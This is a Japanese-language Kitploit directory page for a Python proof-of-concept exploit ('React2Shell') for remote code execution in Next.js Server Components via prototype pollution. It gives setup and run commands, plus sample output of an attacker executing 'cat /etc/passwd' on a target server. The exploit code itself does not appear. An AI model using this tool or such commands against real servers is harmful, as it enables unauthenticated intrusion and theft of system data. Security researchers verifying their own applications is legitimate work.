Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-PoC — React2Shell (CVE-2025-66478): Next.js Server Componentsにおける重大なリモートコード実行(RCE)のためのPythonベースのProof of Concept。インタラクティブなCLI、カスタムペイロードインジェクション、およびクリーンな出力フォーマットを備えています。教育研究目的のみに使用してください。 | Kitploit
ツール/GitHubGitHub/ravindurathnayaka/cve-2025-55182-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubravindurathnayaka/cve-2025-55182-poc

CVE-2025-55182-PoC

React2Shell (CVE-2025-66478): Next.js Server Componentsにおける重大なリモートコード実行(RCE)のためのPythonベースのProof of Concept。インタラクティブなCLI、カスタムペイロードインジェクション、およびクリーンな出力フォーマットを備えています。教育研究目的のみに使用してください。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
428ヶ月前未レビュー

⚡ React2Shell エクスプロイト PoC (CVE-2025-66478)

Next.js サーバーコンポーネントにおけるプロトタイプ汚染を介したリモートコード実行 (RCE)

Python Exploit Type CVE


🕵️‍♂️ 概要

このリポジトリには、特定のバージョンの React Server Components (RSC) を使用する Next.js アプリケーションに影響する深刻な脆弱性 CVE-2025-66478 (一部の文脈では CVE-2025-55182 としても参照) の概念実証 (PoC) が含まれています。

RSCのシリアル化プロセスを操作することで、認証されていない攻撃者がプロトタイプ汚染 (__proto__:then) を介して悪意のあるペイロードを注入できます。これにより、child_process.execSync を通じてサーバー上で任意のシステムコマンドが実行される可能性があります。

開発者: ArkhamKnight47


🚀 機能

  • 対話型CLI — ターゲットURLとコマンドの簡単なプロンプト
  • ペイロード注入 — 必要な multipart/form-data ペイロードを自動的に構築します。
  • スマート出力クリーニング — 生のJSONレスポンスを解析し、クリーンなコマンド出力のみを表示します(例:1:E{\"digest\":...} を除去)。
  • マトリックス風テーマ — 緑色の文字に黒背景のASCIIアートバナー。
  • クロスプラットフォーム — WindowsおよびLinuxターゲットでのクリーンな出力のために改行の違い(\n と \r\n)を処理します。

🛠️ インストールと使用方法

前提条件

  • Python 3.x
  • requests ライブラリ

セットアップ

root@kitploit:~
# Clone the repository
git clone https://github.com/RavinduRathnayaka/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC

# Install dependencies
pip install requests

エクスプロイトの実行

root@kitploit:~
python CVE-2025-66478.py

以下の入力を求められます:

  • ターゲットURL — 例:http://localhost:3000
  • コマンド — 例:id、whoami、cat /etc/passwd

📌 出力例

root@kitploit:~
[?] TARGET URL > http://192.168.1.5:3000
[?] COMMAND    > cat /etc/passwd

[*] EXECUTING EXPLOIT...
[+] PAYLOAD SUCCESSFUL. OUTPUT BELOW:
============================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
============================================================

⚠️ 免責事項

このツールは教育およびセキュリティ研究目的のみで提供されています。

作者(ArkhamKnight47)は、このコードの悪用に対して一切の責任を負いません。あなたが所有していない、または明示的な許可を得ていないシステムに対してこのエクスプロイトをテストすることは、違法かつ非倫理的です。

  • ❌ 許可なく本番システムに対して使用しないでください
  • ✅ 自身のアプリケーションの脆弱性を検証するために使用してください
  • ✅ RSCのシリアル化とプロトタイプ汚染のリスクについて学ぶために使用してください

責任を持って使用してください。倫理的に学び、スタックを保護してください。

ツールをダウンロード